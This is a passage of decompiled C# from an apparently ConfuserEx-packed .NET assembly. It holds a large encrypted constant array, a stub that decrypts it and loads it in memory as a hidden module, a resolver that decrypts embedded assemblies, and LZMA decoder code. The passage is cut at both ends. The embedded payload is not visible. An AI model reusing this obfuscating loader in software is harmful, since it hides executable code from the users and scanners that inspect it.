1476874149U, 1294503433U, 2805887315U, 1416174446U, 2435294056U, 2083148364U, 2407267349U, 3749597321U, 1405735931U, 630231899U, 2799716385U, 3575547129U, 1948393653U, 1542369729U, 1258786136U, 1268663107U, 2242983892U, 575474554U, 4051284346U, 4090987496U, 878440001U, 2779969709U, 3241655036U, 1951827723U, 2358304226U, 2005560292U, 2290734574U, 2075945780U, 4091176627U, 338457394U, 473716025U, 1871205316U, 2576235441U, 216023587U, 161786070U, 2175449217U, 1688838510U, 1221024345U, 1932671943U, 3882650557U, 2732174143U, 1186026714U, 3955832875U, 2864853061U, 3169018659U, 26484841U, 2267568036U, 3268136477U, 2841496864U, 1037812002U, 4001857607U, 2577082722U, 2448728146U, 2696358384U, 694414467U, 1391332241U, 1188278435U, 2442546937U, 1755995046U, 2854380562U, 1425635377U, 587093837U, 3098000732U, 703616651U, 3399558002U, 2235674705U, 2924077456U, 3415481785U, 2190819848U, 1272623388U, 2949515071U, 1502759376U, 1456837774U, 451165552U, 2021749114U, 3123717887U, 1761660971U, 3270740489U, 2626491424U, 2552850043U, 1590059852U, 2753197408U, 290287743U, 876826257U, 2221278644U, 3029789511U, 3085796540U, 2224061789U, 3766681320U, 3369050005U, 845660186U, 2515119166U, 1162590833U, 2257556711U, 4211685012U, 45207080U, 2714442097U, 1986645260U, 533397160U, 1565643807U, 2786553161U, 497767071U, 1700318034U, 980744921U, 2904195105U, 3502194852U, 3079818771U, 1835308846U, 1387414233U, 4173967104U, 736977167U, 439822955U, 4075474452U, 2464978676U, 527502233U, 1030444426U, 256714223U, 2293793940U, 2797307235U, 3799555945U, 1559249805U, 3269731078U, 116062105U, 1513394078U, 208303387U, 1815241128U, 2551873519U, 100179803U, 196434594U, 3647701552U, 1468391995U, 1179079315U, 309449458U, 116050325U, 157390202U, 1702309316U, 3857648203U, 217559816U, 646913602U, 1093853306U, 688655199U, 3467455436U, 3882885382U, 228006194U, 1936584682U, 2945743539U, 4212355899U, 3194467848U, 3871696015U, 1617150488U, 784443729U, 2005771911U, 2020041058U, 1933624798U, 1823326008U, 1011851779U, 303116186U, 2962444673U, 787285491U, 2736415201U, 691592512U, 3987040621U, 2149173134U, 1537631533U, 2361460118U, 1683675674U, 2484597109U, 2476406323U, 109102190U, 1590128365U, 4269571406U, 4100395621U, 2985899287U, 3543107924U, 323000808U, 32928323U, 3183365641U, 3143906848U, 4043946961U, 2893003048U, 2464917617U, 3008367677U, 853476980U, 79629157U, 51978334U, 1528062964U, 1195074306U, 2440997194U, 32012954U, 1377784447U, 1335889115U, 3262949328U, 4209084697U, 1492198441U, 3968075656U, 129638660U, 2322003424U, 3266293897U, 2894309734U, 3813022466U, 3533106861U, 907608570U, 1128130288U, 1231755583U, 3473388158U, 3750358626U, 3135707456U, 1888873456U, 3046619945U, 3593540296U, 3053704113U, 82710823U, 2206152285U, 793192570U, 2725693253U, 1487062731U, 3362964924U, 1087063202U, 2523392308U, 1469155159U, 1540051395U, 2525220233U, 4245354711U, 3294392501U, 1832151760U, 1967074166U, 1821978260U, 2770371678U, 1234727324U, 2271878924U, 2826168707U, 460062706U, 277007018U, 3909596396U, 1697217261U, 1534855786U, 3977416490U, 235254130U, 2746419310U, 1038155472U, 2997587779U, 2938590394U, 2123337840U, 2011675454U, 402002034U, 3942246434U, 3296642860U, 1809282338U, 1552910518U, 3229652606U, 1479429466U, 2429333919U, 2309579090U, 3067192355U, 2259863336U, 2222929817U, 1181868833U, 1037631768U, 3669124847U, 2917203020U, 3266870703U, 134408892U, 2902176233U, 2741515636U, 575771196U, 670743997U, 156669756U, 141485590U, 2124716649U, 267946182U, 1044998947U, 241830284U, 393987564U, 3107546047U, 2076207140U, 3176040450U, 1727927656U, 2957035074U, 2732416876U, 609111941U, 1615814916U, 2301649814U, 1982393223U, 2921766733U, 1689798223U, 2909578553U, 628742102U, 1630855686U, 392023852U, 40121953U, 2785472558U, 1750782959U, 2419453993U, 1575149371U, 2096237638U, 2592832215U, 1494901379U, 2941344685U, 3261270272U, 3700205637U, 2037097926U, 1075587554U, 2433259446U, 1006237716U, 2164058782U, 3922990648U, 2378494061U, 2457195892U, 861599496U, 834615140U, 2553597053U, 3966589482U, 2501422571U, 1724419374U, 934663397U, 2466242392U, 504632192U, 4055165318U, 1630460167U, 1675343227U, 345621529U, 2290914806U, 2151129910U, 1122016658U, 494309411U, 4031264849U, 3321810130U, 3958942432U, 3424831919U, 863479976U, 4123610284U, 3070665118U, 3611453772U, 556841876U, 3862932243U, 3392642916U, 3358320042U, 3031744120U, 3571495444U, 631845459U, 1051260338U, 955530258U, 1336314217U, 2784406383U, 4164421595U, 2196179741U, 421523575U, 504255841U, 1778720530U, 3854213343U, 1471026831U, 2640607948U, 3806683454U, 775524810U, 3142147566U, 1684435498U, 2451622494U, 3072308683U, 3593637921U, 2342070086U, 1685038597U, 3103174043U, 2421846440U, 1432717577U, 464294282U, 1426988851U, 3615229701U, 634895419U, 2720874608U, 1157484294U, 1132705565U, 2592171934U, 1388435916U, 3102212617U, 1967555689U, 4225430U, 3984690598U, 2797783155U, 143304068U, 2500871094U, 4072862785U, 3042053674U, 666158474U, 197075591U, 1378242870U, 1450161094U, 3521581441U, 804642823U, 2929117412U, 4151087244U, 623245720U, 2230646313U, 986689107U, 1993883233U, 2428338234U, 2798459589U, 1536794875U, 969458699U, 1899968015U, 3843554918U, 1870896180U, 3005021385U, 2073813411U, 1614522824U, 3694408829U, 1996763280U, 3363929978U, 3162968460U, 3223029829U, 1080027523U, 1016138884U, 807827149U, 1191694638U, 378231133U, 2060870897U, 897081781U, 3717839010U, 798210670U, 3694227931U, 1945496913U, 1079474698U, 1955453469U, 4215898859U, 1492151014U, 3229973373U, 3639684515U, 1803819340U, 1355564361U, 2490930894U, 2051341171U, 2444831891U, 2793045492U, 2511196714U, 3181049171U, 3166038359U, 1843673646U, 2956538259U, 3635585845U, 552568469U, 2684489586U, 2526146911U, 3242776769U, 2846552549U, 296006262U, 3238855268U, 2483986739U, 3939913194U, 204291837U, 2547450151U, 3810292437U, 1300351632U, 534815472U, 91737439U, 28624293U, 2518468823U, 2248702399U, 932103765U, 263019096U, 3805274628U, 3627479619U, 3508267383U, 953306501U, 1113379199U, 3042251406U, 4123790583U, 1955048545U, 3947058059U, 2960452965U, 1771976510U, 3168666854U, 482023475U, 3463558487U, 2357709711U, 2872971538U, 793311008U, 3928372542U, 2685947178U, 21187966U, 309415372U, 2714535324U, 4025762345U, 409700065U, 950002317U, 2553088365U, 349285332U, 2765972309U, 3551523721U, 485529918U, 2748572321U, 1694178747U, 3724846513U, 3399255668U, 2718865765U, 617627594U, 208920872U, 1381573612U, 4193135579U, 90179177U, 1939136420U, 241137278U, 2645227212U, 124423365U, 466319738U, 1814130018U, 2463635673U, 3230839395U, 3951764804U, 3273992472U, 1417399461U, 1632988937U, 2890901417U, 2518494935U, 1505587130U, 4166979484U, 1004533441U, 1713437530U, 2928654953U, 3672440512U, 202841665U, 2819728122U, 871648087U, 3561232798U, 2273338943U, 1020165502U, 2373244881U, 995000625U, 664668718U, 711004751U, 1546205208U, 2181861399U, 2751465018U, 2577179576U, 3545137784U, 2479565340U, 3355529093U, 719475193U, 1466788842U, 2565144178U, 4209892283U, 2565442583U, 1251485021U, 965910145U, 2313485387U, 3021549719U, 2779251048U, 3393380649U, 4147893181U, 1455235547U, 2458188081U, 235475342U, 1816272719U, 745414364U, 679442805U, 2531945566U, 2679227260U, 1691844430U, 1641339492U, 2466174856U, 1028208989U, 3995341952U, 953646328U, 559650394U, 259616607U, 1222571064U, 3365281269U, 779343462U, 2146420774U, 3978907376U, 141699074U, 3207185790U, 1617000576U, 1168837382U, 2372573971U, 3892725703U, 2503411869U, 4283944753U, 26369702U, 1172199978U, 2704144713U, 1029348255U, 2024688034U, 2612209948U, 1555708920U, 662671980U, 3120850390U, 859672385U, 1492082995U, 2278261176U, 3383619591U, 2167073496U, 498153544U, 631130237U, 1628350265U, 4035066248U, 1923462672U, 419045589U, 1137043435U, 3430298807U, 2913818966U, 2796942846U, 3488569534U, 2420849759U, 1987740675U, 1353676357U, 485891800U, 588881291U, 359005206U, 50298507U, 1864801288U, 4294885512U, 4160486196U, 1269076604U, 110350440U, 1082281760U, 1747530144U, 3039255768U, 939196567U, 3312861148U, 2959310665U, 2681423423U, 3022162172U, 1352019916U, 3282492801U, 38126266U, 436770750U, 45826252U, 2521953168U, 2914597928U, 1320678084U, 1464836669U, 1064150942U, 2133297096U, 3237090479U, 1114286715U, 3909976854U, 1119927737U, 586345587U, 2810472962U, 394211005U, 328167924U, 265297151U, 3054673530U, 4291251646U, 2321043354U, 1342115331U, 2360252196U, 3126860541U, 3897493034U, 3907584935U, 2727538329U, 1979723650U, 1110153365U, 1610140644U, 4157577022U, 519041185U, 935350087U, 3577176464U, 2911091510U, 1469328476U, 3658450824U, 2766274623U, 331282724U, 2398546079U, 3611061375U, 1902865372U, 2583430409U, 536123864U, 1329158570U, 2696229584U, 1814729067U, 1181736387U, 2791866574U, 71301474U, 1919817626U, 1015982684U, 291465496U, 1455640399U, 1289006854U, 3862881051U, 1294677319U, 281953668U, 3823898452U, 2774818905U, 3291267743U, 3708136288U, 567787958U, 2653033164U, 2759245730U, 3714068995U, 2462082894U, 2922814197U, 3759686688U, 2441693417U, 3850939157U, 3527812116U, 1246139469U, 4051530901U, 2846364400U, 3631599421U, 2111082893U, 3228120710U, 2890910152U, 681669125U, 2045498419U, 3119611686U, 3980449887U, 2253471197U, 3415921137U, 4093736225U, 965008539U, 3941740246U, 2592510614U, 2395755038U, 2687064436U, 2449926789U, 880156368U, 3730641773U, 3259952729U, 3642489485U, 1428479594U, 1653155474U, 4028890345U, 3189331479U, 2129967931U, 3505489973U, 1226091757U, 1919688397U, 1942703824U, 3886916539U, 1357630701U, 1842084311U, 2632854381U, 1585389762U, 3594125245U, 1886678703U, 2916449849U, 3240747646U, 174951831U, 1012821457U, 1594079004U, 4177290633U, 359558328U, 1188922974U, 478148528U, 2484131559U, 3652157999U, 1219156946U, 4002591119U, 3711950770U, 1301336604U, 1653351096U, 2729356516U, 723882790U, 3255256600U, 2276702664U, 2205894767U, 1938324324U, 3714215306U, 3730940727U, 1248676463U, 1495463680U, 918874565U, 4060904111U, 730871287U, 227022351U, 453276840U, 1089761344U, 2279866774U, 2965867837U, 1126496085U, 2102270344U, 1114810665U, 2633503552U, 2980665959U, 1914872185U, 1118997777U, 1407723296U, 2282157355U, 3109236358U, 1413415114U, 1590719419U, 3668650128U, 4162360160U, 756270384U, 1819407293U, 2955174985U, 1404394921U, 1352816471U, 1408782864U, 3176656279U, 1122293492U, 683189117U, 3807472330U, 405149446U, 1955094558U, 772210690U, 1786934044U, 3597197659U, 3866744471U, 647457465U, 3745185419U, 699546551U, 1006115341U, 3367309070U, 1853559115U, 2539771920U, 2074035543U, 866363947U, 870314195U, 155572530U, 402904960U, 2644061064U, 2042132942U, 928795795U, 2622728690U, 608462297U, 2935595531U, 3892390256U, 2377007981U, 99464661U, 2468099272U, 3382280004U, 3374432969U, 1770187421U, 3428099837U, 2082674324U, 2005986923U, 2876459171U, 2932756426U, 1028972133U, 699878203U, 2282627024U, 3059482018U, 2162152707U, 2690886726U, 2201636116U, 3925161269U, 1454003540U, 4200917536U, 2523658694U, 2479336223U, 300307187U, 4153052605U, 3307007892U, 4172215683U, 3271328207U, 64577389U, 3496323750U, 1581012099U, 2038164321U, 2869241313U, 1913755455U, 1102686123U, 661615921U, 3799151276U, 2403222504U, 3050462744U, 484930126U, 2105004048U, 1660198451U, 3644228049U, 3555025475U, 839989289U, 298488530U, 3936823353U, 1433191305U, 1827175376U, 974929985U, 2358711370U, 276481641U, 1811263575U, 3732982765U, 2520379886U, 3702892914U, 3469683239U, 1967993695U, 1252740405U, 3611258742U, 2123884893U, 112883049U, 3576281119U, 3978531259U, 2709071052U, 1875165043U, 441598352U, 3133369370U, 2444186240U, 1348571752U, 1737432458U, 600096531U, 2306508825U, 3628937331U, 3455856970U, 2063173172U, 4045217791U, 3265607889U, 1210700634U, 3133043133U, 526887200U, 3448837987U, 4219481396U, 1356204427U, 275979462U, 3100653220U, 1662753911U, 1310951175U, 327955729U, 3676816217U, 1950597215U, 4143770000U, 1624551495U, 1098265574U, 2134536928U, 3999543424U, 2604934320U, 2918153697U, 2542534320U, 122051555U, 678028397U, 319617867U, 711338986U, 2285587807U, 554759063U, 147396141U, 1749482984U, 3741661818U, 3142368757U, 3252609549U, 3793488181U, 1024947152U, 3465050061U, 3498488849U, 354152971U, 3514591054U, 3994996885U, 2351657841U, 2714769578U, 255082145U, 3572160009U, 614063749U, 2472972107U, 3808218017U, 3045357021U, 3257575359U, 1148733141U, 681947388U, 3228979129U, 3471394825U, 1402993543U, 3209738529U, 1631210148U, 3320282952U, 2313620212U, 3983528356U, 1079438396U, 789643646U, 887194199U, 483717700U, 1502927719U, 4147000394U, 443456539U, 3277416704U, 3112234302U, 2803568599U, 1856286158U, 3809991810U, 2426717057U, 19761189U, 4202905290U, 2061885255U, 2844088990U, 1026293539U, 3323367911U, 1787310543U, 4019384316U, 3760797383U, 3888289691U, 1715269192U, 52156783U, 2366706876U, 3597111612U, 3978737063U, 3021625370U, 1042250729U, 2837712771U, 2314537839U, 441130280U, 32367207U, 2065156256U, 3368410562U, 3143656557U, 1674609100U, 78407358U, 1512736804U, 3307845338U, 2500069463U, 4245971529U, 4164867431U, 3317412612U, 1393239285U, 3181684963U, 337844816U, 1764626814U, 2381168187U, 1022128267U, 478361544U, 471197233U, 1508240420U, 1946720673U, 996478324U, 1440242476U, 4251684805U, 400734392U, 97017614U, 1202906411U, 2604246158U, 2849994831U, 1251313867U, 2854858188U, 1041341748U, 917439918U, 1520890204U, 3054120782U, 2018091652U, 4226087482U, 226859915U, 3974168180U, 2471968762U, 17922459U, 2082230647U, 1026437328U, 2652875617U, 3056008360U, 233369417U, 4075513370U, 1045619649U, 4059080607U, 749649026U, 2638759672U, 4152512221U, 3839336060U, 2390191158U, 1046059993U, 3532692640U, 53198089U, 3273926734U, 2047444067U, 4054878903U, 1376573233U, 2056026719U, 2516676366U, 10701030U, 3977248215U, 4290055078U, 3362890086U, 2230440213U, 3970592112U, 2484191976U, 1237939853U, 3532335673U, 1212558369U, 467842846U, 1905842294U, 2185223793U, 3326243991U, 2189658651U, 1259034166U, 2477450327U, 1924364963U, 1468596062U, 2364564440U, 1224940911U, 4110537425U, 3114520465U, 3443471465U, 1514627942U, 1391830866U, 2979185144U, 3237863266U, 1810588764U, 2908371936U, 2709216029U, 376022081U, 1673754467U, 1321250318U, 1844160387U, 2640687357U, 782174195U, 4242327145U, 251817674U, 2278188478U, 1600597880U, 2563392436U, 2080821317U, 214545737U, 608216728U, 1559334518U, 2681976446U, 1854008365U, 3621793330U, 1005315087U, 52106447U, 1031395540U, 296768503U, 517539023U, 2255222237U, 1658747910U, 881456285U, 1894841218U, 685695219U, 145194254U, 4210373858U, 177605507U, 3285993829U, 2231857851U, 1363393688U, 808268735U, 1954430583U, 350154760U, 4073311239U, 780829604U, 3318062670U, 4227219790U, 2407951218U, 2286890254U, 2180353154U, 2648221501U, 2570542173U, 3751308825U, 4219684424U, 2887566952U, 2363535237U, 1795038812U, 2375310488U, 3168938728U, 3653298075U, 44767259U, 305092690U, 518454478U, 1805793255U, 4034266808U, 2805815492U, 1435335679U, 303386540U, 3406818615U, 3373741529U, 3187732525U, 900075092U, 222201386U, 2752991102U, 510248828U, 3299668685U, 3948950610U, 398121525U, 1767921375U, 3063330394U, 3623644322U, 2528615186U, 1992644820U, 2185191233U, 2348955940U, 1814942338U, 4033625280U, 503698944U, 499784897U, 3265916646U, 1607087498U, 1497898716U, 1049375704U, 754324248U, 1081056836U, 1254454236U, 1468898417U, 864401137U, 160488703U, 2685796086U, 4277376394U, 4000937584U, 3200436635U, 3642440496U, 751016252U, 2265298698U, 1909953297U, 784938545U, 3613165274U, 3756211358U, 2835781485U, 2127348846U, 2056259106U, 3188631092U, 1083792005U, 211506820U, 1097649559U, 2802377141U, 863913592U, 3486108070U, 3079189550U, 4026915334U, 1970779957U, 1809450845U, 1299567514U, 225933945U, 2273041819U, 2281612662U, 1405269313U, 70366897U, 1010994564U, 193051718U, 1695871585U, 3496132855U, 1477987832U, 107810469U, 2406864476U, 2762167113U, 71003331U, 2972156160U, 552418389U, 2035746467U, 317458496U, 3180176715U, 1788488820U, 4177305399U, 342580024U, 2536720196U, 576498656U, 1615134393U, 2318761174U, 3853278329U, 1639655808U, 453975536U, 690239861U, 1065892576U, 85533587U, 1870390629U, 34554073U, 2785891708U, 2347093395U, 4013882595U, 2986842766U, 3210085570U, 1582373062U, 1960457229U, 1917029882U, 4253484827U, 1282155437U, 436341776U, 1719812374U, 2908416653U, 2538046245U, 1690365388U, 1720814573U, 2850774197U, 3932554037U, 2336693471U, 1096606098U, 620990506U, 3530547070U, 2469908754U, 1144400355U, 1457327234U, 485031156U, 1546596455U, 2002765303U, 1185701711U, 2472032625U, 2252729145U, 4036532115U, 1673749367U, 1693031720U, 3774720859U, 2869239137U, 4141699443U, 1765248755U, 1807278901U, 2339814182U, 3971644937U, 3590676915U, 2808771108U, 2645876370U, 1082243282U, 3277770324U, 1083092745U, 57833822U, 1932028846U, 533623815U, 1596402344U, 210960503U, 713496720U, 1820047525U, 477256759U, 1731222103U, 2916117395U, 830654259U, 2279205641U, 268609196U, 275516739U, 2254288911U, 2316542872U, 844052622U, 3407215538U, 2702803772U, 4190605818U, 2867727642U, 193664990U, 4292714501U, 2302028825U, 2645596145U, 850797524U, 3477764877U, 2764778219U, 975951328U, 3447809294U, 706224829U, 1326413080U, 1045142270U, 2800478324U, 1840373797U, 3906900653U, 938638477U, 1935889646U, 138288328U, 3265341008U, 3736266198U, 2503247470U, 3459405888U, 2441220265U, 4162172376U, 2077700550U, 51851722U, 1928899002U, 3620948152U, 2566138317U, 2637889278U, 2447180583U, 1107542869U, 295590487U, 3580175655U, 2049172530U, 2165707380U, 212493624U, 104339015U, 1177675398U, 3578775197U, 3612137930U, 13434589U, 3387644884U, 4241496608U, 226922728U, 2835590250U, 3683441713U, 592601298U, 924448771U, 1911351316U, 1263802786U, 899797365U, 2113610089U, 778219712U, 2529579270U, 3207606659U, 578743618U, 1533845175U, 3013666381U, 4191935624U, 553336170U, 4118624197U, 3015474748U, 3502536587U, 2896550610U, 2361016078U, 2616311153U, 2667869212U, 582800545U, 1977146870U, 1221707513U, 2241977671U, 418934230U, 2420818111U, 3959365399U, 971123200U, 69545973U, 969990939U, 2232857107U, 1502520397U, 3197926218U, 1460004452U, 2538464599U, 1183603441U, 197764748U, 992250999U, 3160393773U, 1217712229U, 2824537542U, 43058990U, 3613429059U, 3593930720U, 4231608698U, 3711618583U, 1703500442U, 1484837520U, 1004144902U, 3867389187U, 2887672720U, 2040724411U, 270900472U, 2364822388U, 1526873973U, 4107842132U, 1498214531U, 3807321614U, 781493015U, 239574785U, 1246482368U, 3332886689U, 3250357798U, 4151972631U, 3096780923U, 1032042045U, 268128406U, 1319989437U, 2178698369U, 2542734740U, 2183394960U, 3387040379U, 2704277631U, 3174258532U, 125204530U, 2676622582U, 3920216819U, 2136174024U, 416398071U, 3754131279U, 3067773441U, 3915041987U, 351094495U, 674731605U, 305878278U, 3730948669U, 3401455142U, 3143742084U, 3822793248U, 2138304907U, 1769231844U, 3495897757U, 416822618U, 69618312U, 3516188957U, 64443925U, 3945347633U, 1520182617U, 2386713683U, 2536438325U, 4227170106U, 2853367760U, 2155628747U, 3272077046U, 2603206171U, 715569164U, 771678159U, 2836605673U, 3689832017U, 2969380130U, 2484643733U, 2767991618U, 3863324415U, 4126897297U, 1093648133U, 3401724287U, 3070442686U, 4174028799U, 498287706U, 4108456632U, 3731530199U, 3332737343U, 2110125146U, 1450861706U, 3899796516U, 806623952U, 404213910U, 1766800573U, 246357134U, 465007763U, 2985752504U, 832127967U, 1307762206U, 2396740281U, 4060383010U, 1047015221U, 1560255145U, 2915315795U, 2487036640U, 2673434142U, 2434694172U, 1000654899U, 1329077226U, 91525547U, 2603881212U, 1330332781U, 3533508316U, 486798854U, 170913415U, 1971650086U, 287635584U, 3540641725U, 3552456758U, 2338748964U, 3860509458U, 3304593358U, 1595582931U, 2728186237U, 1710578143U, 3069113162U, 850825345U, 85105605U, 4014854526U, 1090043217U, 1476929628U, 85851642U, 244396813U, 98457633U, 502864777U, 1804211609U, 3155491372U, 1567675865U, 474419121U, 1145638611U, 515350295U, 1346984507U, 2898975320U, 562711981U, 1140039044U, 2737589489U, 313936664U, 4187020948U, 911297002U, 2461772880U, 3928843452U, 1431543806U, 3694220210U, 3823741795U, 587620345U, 31235454U, 933508415U, 2410173759U, 344393562U, 4172363496U, 1920526947U, 4171802075U, 3070807527U, 46735268U, 2838184434U, 493406071U, 1631898450U, 158087601U, 1388587532U, 293610023U, 1608571618U, 750634441U, 1880364313U, 1228883146U, 3760516332U, 3299106759U, 1259316597U, 2143096977U, 2665744619U, 4205403511U, 3556708793U, 338977090U, 3728465417U, 195079879U, 1618630859U, 3264498634U, 1728131210U, 1680930899U, 3126588061U, 959340841U, 543969209U, 4507912U, 2676631582U, 426023015U, 4247261643U, 3594097372U, 4250472189U, 2729397073U, 749531727U, 1970525185U, 1758718644U, 4100668316U, 3137482681U, 568826986U, 2248775140U, 2230508247U, 4185763765U, 3993992332U, 1953918222U, 2376273225U, 3384762370U, 4264347513U, 2091516776U, 2986806937U, 395389481U, 1944593920U, 80986310U, 21777301U, 4116274016U, 320597723U, 4059308U, 3428044274U, 2681979264U, 3650819267U, 498256804U, 3511391935U, 1429177800U, 2786419282U, 4146587514U, 1619184565U, 184294478U, 2193108831U, 2886576796U, 3933530696U, 774076919U, 2327775171U, 1582914359U, 3358698739U, 3699588179U, 3343938407U, 2071264212U, 1592132424U, 3676091619U, 3459456367U, 435334995U, 619501979U, 1624688746U, 979603013U, 1108747524U, 3922063508U, 3781339202U, 3305564054U, 2303544151U, 1857620848U, 3931750986U, 1729833608U, 3584171643U, 2240694049U, 1276387476U, 4268284850U, 3627313437U, 2436557952U, 3742694993U, 256816831U, 36864508U, 861085811U, 3942785975U, 2121519974U, 2980111354U, 3064504383U, 3268489714U, 3672939733U, 2955902792U, 2257433762U, 3785378301U, 1878022722U, 2044385677U, 2796292510U, 798657579U, 2511008760U, 1739078019U, 3915553843U, 858625859U, 3932575613U, 2382292867U, 2854115837U, 963200349U, 97523304U, 2057133381U, 220733578U, 3739524120U, 888977507U, 1705318001U, 436686339U, 1165773899U, 345807871U, 1614597149U, 1604113701U, 1542575489U, 948311938U, 727127006U, 2386234679U, 2270191626U, 2433734053U, 1208327244U, 1964212065U, 3525143568U, 2887820104U, 79857158U, 3095016212U, 3193859099U, 2345797626U, 1486489104U, 2564531287U, 3758300015U, 2893965176U, 1159664902U, 4238054281U, 4004554516U, 1614566747U, 679868631U, 2366125925U, 3261784684U, 752044709U, 1509708066U, 3752099281U, 563885371U, 790708185U, 109319672U, 997424536U, 4209798988U, 417115700U, 1854140015U, 2657015755U, 3125675270U, 891359211U, 784645404U, 462223245U, 4244160625U, 936960566U, 3441292421U, 291830638U, 2785019884U, 2880903228U, 2082545398U, 1364284460U, 2872233832U, 3534172926U, 3801672439U, 1240509124U, 855105288U, 3029545288U, 3504878216U, 1369760530U, 3140116866U, 181462325U, 3219080329U, 190073758U, 1460784952U, 4293889391U, 2463494565U, 2251577794U, 586787054U, 577674211U, 34156509U, 314679667U, 3536885507U, 854055424U, 875068624U, 3601736529U, 587009494U, 262248323U, 3394755176U, 781657358U, 3095676633U, 1117031255U, 3443594643U }; Assembly executingAssembly = Assembly.GetExecutingAssembly(); Module manifestModule = executingAssembly.ManifestModule; GCHandle gchandle = <Module>.Decrypt(array, 3835457050U); byte[] array2 = (byte[])gchandle.Target; Module module = executingAssembly.LoadModule("koi", array2); Array.Clear(array2, 0, array2.Length); gchandle.Free(); Array.Clear(array, 0, array.Length); <Module>.key = manifestModule.ResolveSignature(285212673); AppDomain.CurrentDomain.AssemblyResolve += <Module>.Resolve; module.GetTypes(); MethodBase methodBase = module.ResolveMethod((int)<Module>.key[0] | (int)<Module>.key[1] << 8 | (int)<Module>.key[2] << 16 | (int)<Module>.key[3] << 24); object[] array3 = new object[methodBase.GetParameters().Length]; if (array3.Length != 0) { array3[0] = A_0; } object obj = methodBase.Invoke(null, array3); if (obj is int) { return (int)obj; } return 0; } // Token: 0x06000003 RID: 3 RVA: 0x00008DF8 File Offset: 0x00006FF8 private static Assembly Resolve(object A_0, ResolveEventArgs A_1) { byte[] bytes = Encoding.UTF8.GetBytes(new AssemblyName(A_1.Name).FullName.ToUpperInvariant()); Stream stream = null; if (bytes.Length + 4 <= <Module>.key.Length) { for (int i = 0; i < bytes.Length; i++) { byte[] array = bytes; int num = i; array[num] *= <Module>.key[i + 4]; } string name = Convert.ToBase64String(bytes); stream = Assembly.GetEntryAssembly().GetManifestResourceStream(name); } if (stream != null) { uint[] array2 = new uint[stream.Length >> 2]; byte[] array3 = new byte[256]; int num2 = 0; int num3; while ((num3 = stream.Read(array3, 0, 256)) > 0) { Buffer.BlockCopy(array3, 0, array2, num2, num3); num2 += num3; } uint num4 = 7339873U; foreach (byte b in bytes) { num4 = num4 * 6176543U + (uint)b; } GCHandle gchandle = <Module>.Decrypt(array2, num4); byte[] array5 = (byte[])gchandle.Target; Assembly result = Assembly.Load(array5); Array.Clear(array5, 0, array5.Length); gchandle.Free(); Array.Clear(array2, 0, array2.Length); return result; } return null; } // Token: 0x06000004 RID: 4 RVA: 0x00008F3C File Offset: 0x0000713C internal static byte[] Decompress(byte[] A_0) { MemoryStream memoryStream = new MemoryStream(A_0); <Module>.LzmaDecoder lzmaDecoder = new <Module>.LzmaDecoder(); byte[] array = new byte[5]; memoryStream.Read(array, 0, 5); lzmaDecoder.SetDecoderProperties(array); long num = 0L; for (int i = 0; i < 8; i++) { int num2 = memoryStream.ReadByte(); num |= (long)((long)((ulong)((byte)num2)) << 8 * i); } byte[] array2 = new byte[(int)num]; MemoryStream memoryStream2 = new MemoryStream(array2, true); long num3 = memoryStream.Length - 13L; lzmaDecoder.Code(memoryStream, memoryStream2, num3, num); return array2; } // Token: 0x04000001 RID: 1 private static byte[] key; // Token: 0x04000002 RID: 2 RVA: 0x00002050 File Offset: 0x00000250 static <Module>.DataType DataField; // Token: 0x02000002 RID: 2 [StructLayout(LayoutKind.Explicit, Pack = 1, Size = 26656)] private struct DataType { } // Token: 0x02000003 RID: 3 private struct BitDecoder { // Token: 0x06000006 RID: 6 RVA: 0x00008872 File Offset: 0x00006A72 internal void Init() { this.Prob = 1024U; } // Token: 0x06000007 RID: 7 RVA: 0x00008FC8 File Offset: 0x000071C8 internal uint Decode(<Module>.Decoder A_1) { uint num = (A_1.Range >> 11) * this.Prob; if (A_1.Code < num) { A_1.Range = num; this.Prob += 2048U - this.Prob >> 5; if (A_1.Range < 16777216U) { A_1.Code = (A_1.Code << 8 | (uint)((byte)A_1.Stream.ReadByte())); A_1.Range <<= 8; } return 0U; } A_1.Range -= num; A_1.Code -= num; this.Prob -= this.Prob >> 5; if (A_1.Range < 16777216U) { A_1.Code = (A_1.Code << 8 | (uint)((byte)A_1.Stream.ReadByte())); A_1.Range <<= 8; } return 1U; } // Token: 0x04000003 RID: 3 private uint Prob; } // Token: 0x02000004 RID: 4 private struct BitTreeDecoder { // Token: 0x06000008 RID: 8 RVA: 0x0000887F File Offset: 0x00006A7F internal BitTreeDecoder(int A_1) { this.NumBitLevels = A_1; this.Models = new <Module>.BitDecoder[1 << A_1]; } // Token: 0x06000009 RID: 9 RVA: 0x000090B4 File Offset: 0x000072B4 internal void Init() { uint num = 1U; while ((ulong)num < (ulong)(1L << (this.NumBitLevels & 31))) { this.Models[(int)((UIntPtr)num)].Init(); num += 1U; } } // Token: 0x0600000A RID: 10 RVA: 0x000090EC File Offset: 0x000072EC internal uint Decode(<Module>.Decoder A_1) { uint num = 1U; for (int i = this.NumBitLevels; i > 0; i--) { num = (num << 1) + this.Models[(int)((UIntPtr)num)].Decode(A_1); } return num - (1U << this.NumBitLevels); } // Token: 0x0600000B RID: 11 RVA: 0x00009134 File Offset: 0x00007334 internal uint ReverseDecode(<Module>.Decoder A_1) { uint num = 1U; uint num2 = 0U; for (int i = 0; i < this.NumBitLevels; i++) { uint num3 = this.Models[(int)((UIntPtr)num)].Decode(A_1); num <<= 1; num += num3; num2 |= num3 << i; } return num2; } // Token: 0x0600000C RID: 12 RVA: 0x0000917C File Offset: 0x0000737C internal static uint ReverseDecode(<Module>.BitDecoder[] A_0, uint A_1, <Module>.Decoder A_2, int A_3) { uint num = 1U; uint num2 = 0U; for (int i = 0; i < A_3; i++) { uint num3 = A_0[(int)((UIntPtr)(A_1 + num))].Decode(A_2); num <<= 1; num += num3; num2 |= num3 << i; } return num2; } // Token: 0x04000004 RID: 4 private readonly <Module>.BitDecoder[] Models; // Token: 0x04000005 RID: 5 private readonly int NumBitLevels; } // Token: 0x02000005 RID: 5 private class Decoder { // Token: 0x0600000D RID: 13 RVA: 0x000091BC File Offset: 0x000073BC internal void Init(Stream A_1) { this.Stream = A_1; this.Code = 0U; this.Range = uint.MaxValue; for (int i = 0; i < 5; i++) { this.Code = (this.Code << 8 | (uint)((byte)this.Stream.ReadByte())); } } // Token: 0x0600000E RID: 14 RVA: 0x00008899 File Offset: 0x00006A99 internal void ReleaseStream() { this.Stream = null; } // Token: 0x0600000F RID: 15 RVA: 0x000088A2 File Offset: 0x00006AA2 internal void Normalize() { while (this.Range < 16777216U) { this.Code = (this.Code << 8 | (uint)((byte)this.Stream.ReadByte())); this.Range <<= 8; } } // Token: 0x06000010 RID: 16 RVA: 